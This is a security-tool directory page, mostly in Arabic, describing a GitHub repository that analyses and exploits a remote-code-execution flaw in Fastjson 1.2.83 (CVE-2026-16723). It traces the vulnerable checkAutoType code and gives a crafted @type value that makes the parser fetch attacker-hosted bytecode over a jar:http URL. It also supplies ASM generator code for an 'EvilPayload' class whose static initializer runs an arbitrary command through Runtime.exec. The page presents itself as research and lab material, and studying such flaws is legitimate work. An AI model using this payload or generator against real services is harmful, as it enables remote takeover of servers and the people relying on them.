Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
fastjson-cve-2026-16723 — تحليل تفصيلي لثغرة CVE-2026-16723 وحزمة استغلال لثغرة RCE في Fastjson 1.2.83، مع تغطية مسارات الكود الضعيفة، وتوليد ملفات JAR/بايتكود خبيثة، وبيئة Docker Compose لإعادة إنتاج الهجوم. | Kitploit
أدوات/GitHubGitHub/learner330/fastjson-cve-2026-16723
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمتطوير الحمولاتمختبرات وتدريب عملي
GitHublearner330/fastjson-cve-2026-16723

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →

fastjson-cve-2026-16723

تحليل تفصيلي لثغرة CVE-2026-16723 وحزمة استغلال لثغرة RCE في Fastjson 1.2.83، مع تغطية مسارات الكود الضعيفة، وتوليد ملفات JAR/بايتكود خبيثة، وبيئة Docker Compose لإعادة إنتاج الهجوم.

عرض المستودع
522منذ 2 أشهرلم تتم المراجعة بعد
مشاركة

إخلاء المسؤولية: هذا المشروع مخصص للاستخدام في أبحاث الأمان والتعلم ضمن البيئات المصرح بها فقط. يُحظر اختبار الأنظمة غير المصرح بها، ويتحمل المستخدم وحده مسؤولية عواقب الاستخدام.


تحليل ثغرة تنفيذ التعليمات البرمجية عن بُعد في Fastjson 1.2.83 (CVE-2026-16723)

CVSS 9.0، يؤثر على Fastjson 1.2.68 ~ 1.2.83. لا حاجة لتفعيل AutoType، ولا حاجة إلى Gadget طرف ثالث، يمكن استغلاله بالإعدادات الافتراضية.


أولاً: نظرة عامة على آلية الثغرة

تقع نقطة الدخول إلى الثغرة في com.alibaba.fastjson.parser.ParserConfig.checkAutoType. وسواء تم استدعاء JSON.parse(body) أو JSON.parseObject(body, Foo.class)، فإنه في النهاية سيصل إلى هذه الدالة.

مسار التعليمات البرمجية الأساسي (fastjson 1.2.83):

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {

    // ① 黑白名单检查——autoTypeSupport=false 时整段跳过
    if (autoTypeSupport || expectClassFlag) { ... }

    // ② @JSONType 注解探测
    boolean jsonType = false;
    InputStream is = null;
    try {
        String resource = typeName.replace('.', '/') + ".class";
        if (defaultClassLoader != null) {
            is = defaultClassLoader.getResourceAsStream(resource);
        } else {
            is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
        }
        if (is != null) {
            ClassReader classReader = new ClassReader(is, true);
            TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
            classReader.accept(visitor);
            jsonType = visitor.hasJsonType();
        }
    } catch (Exception e) { }
      finally { IOUtils.close(is); }

    // ③ 类型加载
    if (autoTypeSupport || jsonType || expectClassFlag) {
        boolean cacheClass = autoTypeSupport || jsonType;
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
    }

    // ④ jsonType=true 时跳过所有后续检查
    if (clazz != null) {
        if (jsonType) {
            return clazz;
        }
        // denyList 检查、硬编码拦截、isAssignableFrom ...
    }
}

مفتاح AutoType (autoTypeSupport) يتحكم فقط في ① ما إذا كان سيتم الدخول، لكن ② اكتشاف التعليقات التوضيحية يُنفَّذ دون شروط. بمجرد أن يصبح jsonType في ② مساويًا لـ true، فإن ③ تحميل النوع و ④ تخطي فحص الأمان سيتم تفعيلهما تباعًا.


ثانيًا، تحليل سلسلة الهجوم مقطعًا بمقطع

2.1 typeName → resource

String resource = typeName.replace('.', '/') + ".class";

typeName هو قيمة @type في JSON، ويتحكم فيه المهاجم بالكامل. القصد الأصلي هو تحويل com.example.Foo إلى com/example/Foo.class، لكن عندما يكون الإدخال عنوان URL، يتحول هذا إلى مُنشئ URL.

ولأن النقطة . في hostname تُستبدل أيضًا، يستخدم المهاجم عنوان IP صحيحًا لتجاوز ذلك. العدد الصحيح غير المؤشر 32-بت لـ 127.0.0.1 هو 2130706433:

输入:  jar:http:..2130706433:8000.probe!.EvilPayload
 ↓ replace('.', '/')
输出:  jar:http://2130706433:8000/probe!/EvilPayload.class

.. → //، .probe! → /probe!/، للحصول على محدد موارد jar:http:// صالح.

2.2 getResourceAsStream

is = defaultClassLoader.getResourceAsStream(resource);

هل يمكن لـ getResourceAsStream تحليل jar:http:// كمورد بعيد، يعتمد كليًا على نوع ClassLoader:

ClassLoaderالسلوك
JDK AppClassLoaderيبحث فقط في classpath المحلي → null
Tomcat WebappClassLoader (WAR مستقل)يبحث فقط في WEB-INF/lib → null
Spring Boot LaunchedURLClassLoader (fat-JAR)يدعم jar:http:// → يخرج عبر HTTP لجلب البايت كود

هناك نقطة يسهل الخلط فيها: عند تضمين Tomcat داخل Spring Boot، يكون ClassLoader الخاص بفئات التطبيق هو LaunchedURLClassLoader وليس WebappClassLoader. لذلك فإن Tomcat/Jetty/Undertow المضمّنة كلها ضمن النطاق المتأثر.

عندما يكون is != null، تكون بايتات الكود الثنائي للفئة البعيدة المستضافة من قبل المهاجم قد دخلت بالفعل إلى ذاكرة JVM.

2.3 مسبار ASM

ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();

Fastjson يستخدم ASM لفحص البايت كود، ويتحقق مما إذا كان يحتوي على التعليق التوضيحي @com.alibaba.fastjson.annotation.JSONType. القصد من التصميم هو تحسين الأداء — التعرف السريع على الأنواع التي يديرها Fastjson عبر التعليقات التوضيحية. لكن هنا يتم فقط التحقق من وجود التعليق التوضيحي، دون التحقق من مصدر البايت كود، ودون فحص اسم الفئة، ودون تقييد المصدر. يكفي أن يحمل class البعيد الخاص بالمهاجم @JSONType ليحصل على تقييم jsonType=true.

لاحظ أن catch (Exception e) {} فارغ — لن يتلقى المهاجم أي رسالة خطأ.

alt text

2.4 loadClass

if (autoTypeSupport || jsonType || expectClassFlag) {
    boolean cacheClass = autoTypeSupport || jsonType;
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

jsonType=true يستوفي الشرط. يمر loadClass عبر عملية تحميل الفئات القياسية، ويسجّل رمز البايت عبر defineClass ككائن Class في JVM.

يجب التمييز بين مفهومين: يُنجز defineClass تعريف الفئة (التسجيل في JVM)، بينما يُنفَّذ <clinit> في مرحلة تهيئة الفئة. قد تكتمل المرحلتان ضمن الطلب نفسه، لكنهما مستقلتان وفق مواصفات JVM.

2.5 return clazz

if (jsonType) {
    return clazz;
}

هذا السطر يتجاوز جميع آليات الدفاع اللاحقة:

  • الاعتراض المُبرمج (hardcoded) لـ ClassLoader/DataSource/RowSet
  • القائمة السوداء denyList
  • فحص النوع expectClass.isAssignableFrom(clazz)

وهذا يفسّر أيضًا سبب عجز parseObject(body, Dto.class) عن الصدّ: فحص ربط النوع يحدث بعد تحميل الفئة، بينما تكون شيفرة الهجوم قد نُفّذت بالفعل في مرحلة التحميل.


ثالثًا، بناء الـ Payload

يحتاج المهاجم إلى توليد ملف bytecode يستوفي ثلاثة شروط: أن يحمل تعليق @JSONType، وأن يُضمّن شيفرة الهجوم داخل <clinit>، وأن يُستضاف عبر HTTP.

ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_6, Opcodes.ACC_PUBLIC,
        "EvilPayload", null, "java/lang/Object", null);

// 过 ASM 探针
cw.visitAnnotation(
    "Lcom/alibaba/fastjson/annotation/JSONType;", true
).visitEnd();

// <clinit> 里跑命令
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_STATIC,
        "<clinit>", "()V", null, null);
mv.visitCode();
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
        "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitLdcInsn(cmd);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
        "java/lang/Runtime", "exec",
        "(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(Opcodes.RETURN);

// 打包
JarOutputStream jos = new JarOutputStream(new FileOutputStream(outPath));
jos.putNextEntry(new JarEntry("EvilPayload.class"));
jos.write(cw.toByteArray());

يتم تفعيل المنطق الخبيث عبر <clinit>، ويُنفَّذ بمجرد تحميل الفئة.


رابعًا، الخلاصة

جوهر هذه السلسلة هو تحويل استكشاف التعليقات التوضيحية في Fastjson إلى محمّل فئات عن بُعد. يتحكم المهاجم في قيمة @type، ويُنشئ عنوان URL عبر تحويل النصوص، ويستخدم getResourceAsStream لبدء SSRF لجلب الشيفرة الثنائية، ويجتاز فحص مسبار ASM عبر التعليق التوضيحي @JSONType، ويُكمل تعريف الفئة عبر loadClass، وأخيرًا يتجاوز جميع فحوصات الأمان بواسطة return clazz.


روابط مرجعية

  • fastjson-1.2.83-rce (0x7eTeam)
  • fastjson-rce-lab (why-success)

تنزيل الأداة